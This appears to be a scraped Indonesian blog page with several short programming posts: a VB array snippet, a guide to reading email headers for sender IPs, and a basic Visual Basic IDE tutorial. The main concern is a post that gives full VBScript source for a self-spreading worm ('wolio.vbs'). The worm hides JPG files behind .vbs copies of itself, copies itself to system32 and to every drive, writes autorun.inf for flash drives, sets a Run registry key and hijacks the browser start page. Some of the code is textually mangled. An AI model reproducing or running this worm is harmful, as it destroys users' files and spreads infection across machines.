    Dim arraiku(5) As Integer

    'memasukkan nilai ke dalam var.aray
    arraiku(0) = 3
    arraiku(1) = 5
    arraiku(2) = 2
   
    For i = 0 To 5
        Text1.Text = Text1.Text & arraiku(i) & " "
    Next
   
End Sub

Melacak IP Address Pengirim EmaiL

20.07 Add Comment
Sering kali kita menerima pesan yang masuk ke alamat email bahkan pesan yang berupa SPAM (Pesan yang di anggap Sampah biasanya berupa Iklan).Berikut merupakan Tips untuk mengetahui IP address dari manakah asal pengirim email:
Yahoo Mail.
1. Login ke account email anda ( http://mail.yahoo.com/ ).
2. Masuk ke inbox dan buka salah satu email yang ingin anda lihat.
3. Pada pojok kanan bawah cari menu tulisan “Full Headers” dan klik tulisan tersebut.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Gmail / Google Mail.
1. Login ke account email anda ( http://gmail.com/ ).
2. Masuk ke inbox
3. Buka salah satu email yang ingin anda lihat,
4. Lihat kanan di bagian atas ada pilihan Reply, terus disamping tulisan Reply ada tanda panah ke bawah, klik tanda panah tersebut dan pilih Show Original.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Hotmail.
1. Login ke account email anda ( http://hotmail.com/ ).
2. Buka salah satu email yang ingin anda lihat
3. Klik kanan email tersebut dan pilih View Source.
4. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Outlook Express.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat.
3. Klik menu Properties.
4. Klik tab Detail.
5. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

Microsoft Outlook.
1. Buka program Outlook Express dan login ke email anda.
2. Klik kanan pada salah satu email yang ingin anda lihat dan pilih Options
3. Maka anda bisa mengetahui ip address pengirim email dan info detail yang lain.

VIRUS VB SEDERHANA

20.06 Add Comment
Virus komputer merupakan program komputer yang dapat menggandakan atau
menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke
dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus
biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup.
Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat
pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual
Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario
virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat
didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan
merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut
terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat
restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk.
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet
Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan
pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub

2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(“[AUTORUN]“)
fileautorun.WriteLine(“RUN=wolio.vbs”)
End If
End Sub

3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(“HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub

4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(“c:windowssystem32wolio.html”,True)
filehtml.WriteLine(“”)
filehtml.WriteLine(“”)
“)
filehtml.WriteLine(“Welcome to Wolio”)
filehtml.WriteLine(“filehtml.WriteLine(“”)
filehtml.WriteLine(“”)
filehtml.WriteLine(“”)
filehtml.WriteLine(“”)
filehtml.WriteLine(“”)
filehtml.WriteLine(“Selamat Datang di Wolio VBS “)
filehtml.WriteLine(“”)
filehtml.WriteLine(“”)
End Sub

5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next

For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
on error resume next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk

set fso = CreateObject(“Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(“WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,”"))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(“c:windowssystem32wolio.vbs”)
‘ Cari dan infeksi file JPG didalam folder
carifilejpg(myfolder)
‘ Copy-kan diri di sub folder yang ada
serangan_folder(myfolder)
‘ Regitry
if
(regedit.RegRead(“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Wolio”)<>”c:\win
dows\system32\wolio.vbs”) Then
regedit.RegWrite
“HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\VersionRun\Wolio”,”c:\windows\system32\wolio.
vbs”
End If
‘ Copy-kan diri ke semua drive aktif
serangan_drive()
‘ Buat file wolio.html
buat_html()
‘ Ubah Start Page di Internet Explorer
serangan_ie()

Demikianlah  artikel  tentang  cara  pembuatan  dan  penuluran  sebuah  virus  yang dibuat  dengan  VBS

TUTORIAL VBS DASAR

20.01 Add Comment
Sekilas Tentang Dasar Visual Basic pada gambar dibawah adalah layar Visual basic yang terdiri dari Floating : Yaitu dapat digeser kemana saja lalu ada Sizable yaitu dapat diubah ubah ukuranya kemudian ada Dockable yaitu dapat menempelkan bagian lain yang berdekatan.

gambar Jendela Visual basic
dalam jendela Visual Basic terdapat toolbar yaitu tombol-tombol yang mewakili suatu perintah tertentu.

gambar Toolbar
  • Add Project fungsinya menambahkan proyek ke dalam proyek yang sudah ada
  • Add Item fungsinya menambahkan omponen atau object ke dalam jendela form
  • Menu Editor berfungsi menmpilkan menu editor untuk mengubah tampilan menu
  • Open Project berfungsi membuka proyek Visual Basic yang sudah ada
  • Cut untuk memotong elemen yang dipilih dalam layar
  • Copy meng-copy elemen yang dipilih pada layar
  • Paste fungsi untuk menyalin elemen yang tadinya sudah di cut atau di copy
  • Find berguna untuk mencari text tertentu
  • Undo yaitu untuk membatalkan perintah yang terakhir
  • Redo adalah kebalikan dari Undo
  • Start berfungdi untuk menjalankan proyek yang dibuat
  • Break menghentikan running program untuk sementara
  • End untuk menghentikan running program
  • Project Explorer untuk menampilakan jendela Project explorer
  • Properties Windows menampilkan propertis Windows
  • Object Browser untuk menampilkan jendela Object browser
  • Form Layout Windows untuk menampilkan jendela form layout windows
  • Toolbox Menampilakn jendela toolbox
  • Data view Windows menampilkan data view windows
  • Visual Component Manager untuk menampilkan jendela visual component manager
Form Windows

Atau disebut jendela form adalah daerah kerja utama yang mana untuk membuat aplikasi dari program Visual Basic.

gambar jendela form

Toolbox

Toolbox adalah sebuah kotak peranti yang mengandung semua object atau kontrol yang dibutuhkan untuk membentuk suatu program aplikasi. Kontrol adalah sebuah object yang akan menjadi interface antara program aplikasi user-nya.



gambar Toolbox

Dari toolbox diatas anda bisa menambahkan object pada toolbox yang belum ada dengan memilih menu Project > Component.